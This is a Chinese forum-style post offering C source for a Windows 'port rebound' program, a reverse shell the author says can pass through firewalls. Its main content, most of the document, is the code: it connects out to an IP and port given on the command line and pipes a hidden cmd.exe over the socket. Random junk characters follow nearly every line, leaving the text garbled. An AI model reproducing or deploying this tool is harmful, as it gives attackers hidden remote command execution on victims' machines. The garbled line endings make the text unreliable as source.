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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }b0qrr  
@c&)K^v8  
/* ============================== iPs()IN.O  
Rebound port in Windows NT CE?R/uNo{  
By wind,2006/7 [,fMh $t  
===============================*/ D9Q%*DLd$_  
#include SR\#>Qwx_  
#include y[}BFUy  
QALMF rWH  
#pragma comment(lib,"wsock32.lib") air{1="<-  
+]AE}UXZoh  
void OutputShell(); "Pu P J|  
SOCKET sClient; tw.%'oJ7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yCQpqh  
.!Z.1:YR  
void main(int argc,char **argv) =si<OB  
{ x-q er-  
WSADATA stWsaData; gzuM>lf*{  
int nRet; [OM Kk#vW  
SOCKADDR_IN stSaiClient,stSaiServer; cOS|B1xG  
yhTe*I=Gk  
if(argc != 3) $YW z~^f  
{ 2Yyc`o0R;h  
printf("Useage:\n\rRebound DestIP DestPort\n"); W<58TCd  
return; NW~n+uk5v  
} dLo%+V#/A  
] e&"CF  
WSAStartup(MAKEWORD(2,2),&stWsaData); .kBAUkL:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^^)Pv#[3  
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stSaiClient.sin_family = AF_INET; kKCkjA:o##  
stSaiClient.sin_port = htons(0); y_a~>S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v1;`.PWD  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'av OQj]`K  
{ ";xG[ne$Be  
printf("Bind Socket Failed!\n"); esxU44  
return; e+2!)w)[  
} =n$,Vv4A  
f)*}L?  
stSaiServer.sin_family = AF_INET; *BSL=8G{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZL-@2ZU{1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @P)GDB7A  
#opFUX-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >yT:eG  
{ =WN6Fj`  
printf("Connect Error!"); JP[BSmhAV  
return; CjIkRa@!x  
} Prr<:q  
OutputShell(); a-O9[?G/x  
} Q%@l`V)Rs  
8 v&5)0u  
void OutputShell() x!Wl&  
{ 5vY1 XZt{  
char szBuff[1024]; U^Hymgb%  
SECURITY_ATTRIBUTES stSecurityAttributes; \alRBHqE  
OSVERSIONINFO stOsversionInfo; "IB)=Hc  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jp2l}C  
STARTUPINFO stStartupInfo; }!B<MGBd  
char *szShell; C[wnor!  
PROCESS_INFORMATION stProcessInformation; iT I W;Cv  
unsigned long lBytesRead; V_0e/7}Ya  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ma_! 1Y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2)mKcUL-  
stSecurityAttributes.lpSecurityDescriptor = 0; ^2Op?J  
stSecurityAttributes.bInheritHandle = TRUE; |QXW$  
B<6*Ktc  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e}7qZ^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A D~\/V&+  
L(}T-.,Slr  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $(C71M|CT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :#b[gWl0Ru  
stStartupInfo.wShowWindow = SW_HIDE; }1'C!]j  
stStartupInfo.hStdInput = hReadPipe; a_FJNzL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v!40>[?|p  
S[*e K Z  
GetVersionEx(&stOsversionInfo); .lRO; D  
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switch(stOsversionInfo.dwPlatformId) *bwLi h!}H  
{ ()XL}~I{!A  
case 1: ou@Dd4  
szShell = "command.com"; t?{E_70W  
break; #&&^5r-b-  
default: r?V\X7` +  
szShell = "cmd.exe"; U9kt7#@FDK  
break; A2F+$N  
} (\M&/X~q  
H.Pts>3r(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KXYq|w  
\@gs8K#  
send(sClient,szMsg,77,0); !) LMn  
while(1) 5a-8/.}cP  
{ t3G%}d?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v@< "b U  
if(lBytesRead) ^D/*Hp _  
{ 5GC{)#4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YAd.i@^  
send(sClient,szBuff,lBytesRead,0); <A+Yo3|7  
} @l BR;B"  
else ~9 K4]5K-  
{ O{LWQ"@y  
lBytesRead=recv(sClient,szBuff,1024,0); H@'Y>^z?  
if(lBytesRead<=0) break; M="%NxuS  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dht1I`i"B  
} T4._S:~  
} BL,YJM(y  
DKYrh-MN  
return; ,I'Y)SLx  
}
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